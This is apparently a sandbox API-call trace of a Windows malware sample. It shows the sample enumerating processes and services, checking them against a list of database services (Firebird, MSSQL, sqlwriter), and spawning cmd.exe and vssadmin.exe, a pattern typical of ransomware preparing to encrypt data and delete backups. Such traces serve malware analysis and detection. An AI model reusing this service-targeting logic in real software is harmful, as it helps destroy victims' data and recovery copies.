	[0170.829] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0170.829] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0170.829] lstrlenW (lpString="SamSs") returned 5
	[0170.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0170.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0170.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0170.829] lstrlenW (lpString="Schedule") returned 8
	[0170.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0170.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0170.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0170.829] lstrlenW (lpString="SecurityHealthService") returned 21
	[0170.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0170.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0170.829] lstrlenW (lpString="SENS") returned 4
	[0170.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0170.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0170.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0170.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0170.830] lstrlenW (lpString="ShellHWDetection") returned 16
	[0170.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0170.830] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0170.830] lstrlenW (lpString="Spooler") returned 7
	[0170.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0170.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0170.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0170.830] lstrlenW (lpString="StateRepository") returned 15
	[0170.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0170.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0170.830] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0170.830] lstrlenW (lpString="SysMain") returned 7
	[0170.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0170.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0170.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0170.830] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0170.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0170.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0170.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0170.830] lstrlenW (lpString="Themes") returned 6
	[0170.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0170.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0170.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0170.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0170.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0170.831] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0170.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.831] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0170.831] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0170.831] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c0030 | out: hHeap=0x710000) returned 1
	[0170.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x520
	[0170.849] Process32FirstW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0170.849] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0170.850] lstrlenW (lpString="System") returned 6
	[0170.850] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0170.850] lstrlenW (lpString="smss.exe") returned 8
	[0170.850] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0170.850] lstrlenW (lpString="csrss.exe") returned 9
	[0170.850] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0170.851] lstrlenW (lpString="wininit.exe") returned 11
	[0170.851] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0170.851] lstrlenW (lpString="csrss.exe") returned 9
	[0170.851] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0170.852] lstrlenW (lpString="winlogon.exe") returned 12
	[0170.852] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0170.852] lstrlenW (lpString="services.exe") returned 12
	[0170.852] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0170.853] lstrlenW (lpString="lsass.exe") returned 9
	[0170.853] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0170.853] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0170.853] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0170.853] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0170.853] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.854] lstrlenW (lpString="svchost.exe") returned 11
	[0170.854] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.854] lstrlenW (lpString="svchost.exe") returned 11
	[0170.854] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0170.889] lstrlenW (lpString="dwm.exe") returned 7
	[0170.889] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.889] lstrlenW (lpString="svchost.exe") returned 11
	[0170.889] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.890] lstrlenW (lpString="svchost.exe") returned 11
	[0170.890] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.890] lstrlenW (lpString="svchost.exe") returned 11
	[0170.890] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.890] lstrlenW (lpString="svchost.exe") returned 11
	[0170.891] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.893] lstrlenW (lpString="svchost.exe") returned 11
	[0170.893] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.894] lstrlenW (lpString="svchost.exe") returned 11
	[0170.894] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.894] lstrlenW (lpString="svchost.exe") returned 11
	[0170.894] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.895] lstrlenW (lpString="svchost.exe") returned 11
	[0170.895] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.895] lstrlenW (lpString="svchost.exe") returned 11
	[0170.895] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.896] lstrlenW (lpString="svchost.exe") returned 11
	[0170.896] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0170.896] lstrlenW (lpString="spoolsv.exe") returned 11
	[0170.896] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.897] lstrlenW (lpString="svchost.exe") returned 11
	[0170.897] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0170.897] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0170.897] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0170.897] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0170.897] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0170.898] lstrlenW (lpString="audiodg.exe") returned 11
	[0170.898] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0170.898] lstrlenW (lpString="Memory Compression") returned 18
	[0170.898] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0170.899] lstrlenW (lpString="taskhostw.exe") returned 13
	[0170.899] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0170.899] lstrlenW (lpString="sihost.exe") returned 10
	[0170.899] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.961] lstrlenW (lpString="svchost.exe") returned 11
	[0170.962] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0170.962] lstrlenW (lpString="taskhostw.exe") returned 13
	[0170.962] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0170.962] lstrlenW (lpString="explorer.exe") returned 12
	[0170.963] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0170.963] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0170.963] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0170.963] lstrlenW (lpString="SearchUI.exe") returned 12
	[0170.963] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0170.964] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0170.964] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0170.964] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0170.964] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0170.965] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0170.965] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0170.965] lstrlenW (lpString="cmd.exe") returned 7
	[0170.965] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0170.966] lstrlenW (lpString="conhost.exe") returned 11
	[0170.966] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0170.966] lstrlenW (lpString="vssadmin.exe") returned 12
	[0170.966] Process32NextW (in: hSnapshot=0x520, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0170.967] CloseHandle (hObject=0x520) returned 1
	[0170.967] Sleep (dwMilliseconds=0x1f4) 
	[0171.915] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929ea8
	[0171.916] EnumServicesStatusExW (in: hSCManager=0x3929ea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0171.916] GetLastError () returned 0xea
	[0171.916] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x40c1038
	[0171.916] EnumServicesStatusExW (in: hSCManager=0x3929ea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40c1038, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40c1038, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0171.917] CloseServiceHandle (hSCObject=0x3929ea8) returned 1
	[0171.917] lstrlenW (lpString="Appinfo") returned 7
	[0171.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0171.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0171.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0171.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0171.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0171.917] lstrlenW (lpString="AppXSvc") returned 7
	[0171.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0171.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0171.917] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0171.918] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0171.918] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0171.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0171.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0171.918] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0171.918] lstrlenW (lpString="Audiosrv") returned 8
	[0171.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0171.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0171.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0171.918] lstrlenW (lpString="BFE") returned 3
	[0171.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0171.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0171.918] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0171.918] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0171.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0171.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0171.918] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0171.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0171.918] lstrlenW (lpString="CDPSvc") returned 6
	[0171.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0171.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
